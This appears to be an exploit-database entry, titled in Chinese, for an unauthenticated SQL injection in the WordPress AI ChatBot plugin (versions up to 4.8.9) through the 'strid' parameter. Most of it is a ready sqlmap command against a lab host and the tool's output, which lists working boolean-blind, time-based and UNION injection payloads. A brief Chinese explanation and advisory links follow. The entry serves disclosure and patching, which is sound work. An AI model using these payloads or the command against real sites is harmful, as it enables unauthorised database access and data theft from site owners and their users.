AI ChatBot <= 4.8.9 - 未经身份验证的SQL注入通过qc_wpbo_search_response
python3 sqlmap.py -u 'http://wordpress.lan:80/wp-admin/admin-ajax.php' --data='action=wpbo_search_response&name=test&keyword=test&strid=1' --level 4 --risk 3 --dbms mysql --banner -p strid
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___ ___[,]_____ ___ ___ {1.8.2.1#dev}
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|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:14:53 /2024-02-21/
[17:14:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strid (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=wpbo_search_response&name=test&keyword=test&strid=1 AND 6180=6180
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=wpbo_search_response&name=test&keyword=test&strid=1 AND (SELECT 1436 FROM (SELECT(SLEEP(5)))kZil)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: action=wpbo_search_response&name=test&keyword=test&strid=1 UNION ALL SELECT CONCAT(0x716a766b71,0x585550564e544a4d4a70515873674c6d71554c65434c597077746655737a4f487a6d57427154744c,0x7171706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[17:14:53] [INFO] testing MySQL
[17:14:53] [INFO] confirming MySQL
[17:14:53] [INFO] the back-end DBMS is MySQL
[17:14:53] [INFO] fetching banner
web server operating system: Linux Debian
web application technology: Apache 2.4.56, PHP 8.0.30
back-end DBMS: MySQL >= 8.0.0
banner: '8.1.0'
WordPress的ChatBot插件在版本4.8.9及以下版本中,由于对用户提供的参数$strid的转义不足,以及对现有SQL查询的预处理不充分,存在SQL注入漏洞。这使得未经身份验证的攻击者能够将额外的SQL查询附加到已有查询中,从而提取数据库中的敏感信息。
-https://plugins.trac.wordpress.org/browser/chatbot/trunk/qcld-wpwbot-search.php?rev=2957286#L177 -https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2977505%40chatbot%2Ftrunk&old=2967435%40chatbot%2Ftrunk&sfp_email=&sfph_mail= -https://www.wordfence.com/threat-intel/vulnerabilities/id/5ad12146-200b-48e5-82de-7572541edcc4?source=cve